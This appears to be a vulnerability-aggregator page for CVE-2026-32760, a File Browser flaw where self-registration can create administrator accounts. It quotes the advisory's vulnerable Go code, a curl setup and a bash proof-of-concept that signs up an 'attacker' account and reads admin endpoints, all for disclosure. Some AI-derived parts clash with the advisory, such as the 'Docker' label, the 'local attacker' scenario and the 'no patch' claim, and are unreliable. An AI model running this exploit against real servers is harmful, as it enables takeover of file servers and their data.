Docker
CVE-2026-32760
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAccess signup endpoint
-
ExploitRegister new account with self-registration enabled
-
ExecutionReceive administrator permissions from default settings
-
ImpactGain full system control
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V8 - Authorization Least privilege enforcement
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Self-registration must be enabled (signup = true) AND default user permissions configured with perm.admin = true. No authentication required. Affects all deployments with these specific settings. |
| Impact | An attacker with limited access can gain administrative or root privileges, enabling full control over the affected system. |
| Exploit ScenarioDerived | A local attacker exploits a vulnerability in a privileged service or misconfigured permissions to escalate from a standard user to root/administrator. |
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Alert meAnalysisAIv1 – Mar 16, 2026
Unauthenticated attackers can register administrator accounts in Docker when self-registration is enabled and default user permissions include admin privileges, as the signup handler fails to strip admin permissions from self-registered accounts. Public exploit code exists for this vulnerability. No patch is currently available.
Earlier versions of this analysis (1)
RemediationAI
Apply the principle of least privilege. Keep systems patched. Monitor for suspicious privilege changes. Use mandatory access controls (SELinux, AppArmor).
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Privilege escalation allows a low-privileged user or process to gain elevated permissions beyond what was originally authorized. This vulnerability is classified as Improper Privilege Management (CWE-269).
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- Exploit and PoC references, threat intelligence from 22 sources
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Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
Any unauthenticated visitor can register a full administrator account when self-registration (signup = true) is enabled and the default user permissions have perm.admin = true. The signup handler blindly applies all default settings - including Perm.Admin - to the new user without any server-side guard that strips admin from self-registered accounts.
Details
Affected file: http/auth.go
Vulnerable code:
// signupHandler (http/auth.go)
user := &users.User{
Username: info.Username,
}
d.settings.Defaults.Apply(user) // ← copies Perm.Admin = true if set in defaults
// NO guard: user.Perm.Admin is never cleared heresettings.UserDefaults.Apply (settings/defaults.go):
func (d *UserDefaults) Apply(u *users.User) {
u.Perm = d.Perm // copies full Permissions struct, including Admin field
...
}Settings API permits Admin in defaults (http/settings.go):
var settingsPutHandler = withAdmin(func(_ http.ResponseWriter, r *http.Request, d *data) (int, error) {
...
d.settings.Defaults = req.Defaults // Admin can set Defaults.Perm.Admin = true
...
})The signupHandler is supposed to create unprivileged accounts for new visitors. It contains no explicit user.Perm.Admin = false reset after Defaults.Apply. If an administrator (intentionally or accidentally) configures defaults.perm.admin = true and also enables signup, every account created via the public registration endpoint is an administrator with full control over all files, users, and server settings.
Demo Server Setup
# Pull latest release
docker run -d --name fb-test \
-p 8080:80 \
-v /tmp/fb-data:/srv \
filebrowser/filebrowser:v2.31.2
# Wait for startup, then set defaults.perm.admin = true
ADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"admin"}')
# Enable signup and set admin as default permission
curl -s -X PUT http://localhost:8080/api/settings \
-H "X-Auth: $ADMIN_TOKEN" \
-H 'Content-Type: application/json' \
-d '{
"signup": true,
"defaults": {
"perm": {
"admin": true,
"execute": true,
"create": true,
"rename": true,
"modify": true,
"delete": true,
"share": true,
"download": true
}
}
}'PoC Exploit
#!/bin/bash
# poc_signup_admin.sh
# Demonstrates: unauthenticated signup → admin account
TARGET="http://localhost:8080"
echo "[*] Registering attacker account via public signup endpoint..."
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET/api/signup" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Signup response: HTTP $STATUS"
echo "[*] Logging in as newly created account..."
ATTACKER_TOKEN=$(curl -s -X POST "$TARGET/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attack3r!pass"}')
echo "[*] Fetching user list with attacker token (admin-only endpoint)..."
curl -s "$TARGET/api/users" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.tool
echo ""
echo "[*] Verifying admin access by reading /api/settings..."
curl -s "$TARGET/api/settings" \
-H "X-Auth: $ATTACKER_TOKEN" | python3 -m json.toolExpected output: The attacker's token successfully returns the full user list and server settings - endpoints restricted to Perm.Admin = true users.
Impact
Any unauthenticated visitor who can reach POST /api/signup obtains a full admin account. From there, they can:
- List, read, modify, and delete every file on the server
- Create, modify, and delete all other users
- Change authentication method and server settings
- Execute arbitrary commands if
enableExec = true
Executive ViewAI
An unauthenticated attacker can create a full administrator account on any affected system where self-registration is enabled, granting unrestricted access to all data and system functions. This critical vulnerability bypasses all authentication controls and allows complete compromise of the application without any credentials or prior access.
Disable self-registration functionality (signup = false) in application configuration immediately. Remove perm.admin = true from default user permissions to ensure new accounts cannot inherit administrator rights. If self-registration must remain enabled, implement a WAF rule to block POST requests to signup endpoints from non-whitelisted IP ranges. Apply network segmentation to restrict administrative panel access to specific IP addresses. Enable comprehensive audit logging on all account creation and permission modification events. Conduct daily automated scans of user accounts to detect and alert on unauthorized administrator assignments.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.
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Same weakness CWE-269 – Improper Privilege Management
View allSame technique Privilege Escalation
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
GHSA-5gg9-5g7w-hm73
NVD
CVE.org
EPSS
VulDB
Exploit-DB